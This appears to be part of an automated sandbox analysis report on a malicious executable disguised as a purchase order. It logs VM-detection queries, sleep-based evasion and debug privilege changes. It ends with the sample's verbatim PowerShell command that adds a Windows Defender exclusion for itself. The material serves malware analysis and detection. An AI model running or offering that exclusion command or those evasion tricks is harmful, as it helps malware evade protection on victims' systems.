Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: PURCHASE ORDER-6350-2024.exe PID: 5688, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 10A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 2A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 4A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 8AB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 9AB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 9CB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: ACB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 12C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 2D10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Memory allocated: 12C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6233	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3302	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Window / User API: threadDelayed 1185	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Window / User API: threadDelayed 4034	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 5908	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4564	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 3876	Thread sleep count: 1185 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 3876	Thread sleep count: 4034 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99764s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99653s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -99093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98590s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98358s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -97921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -97812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -97703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -97594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -97469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe TID: 1600	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99764	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99653	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99312	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98984	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98590	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98469	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98358	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98250	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98140	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 98031	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 97921	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 97812	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 97703	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 97594	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: PURCHASE ORDER-6350-2024.exe, 00000006.00000002.3269575553.00000000063B0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PURCHASE ORDER-6350-2024.exe"
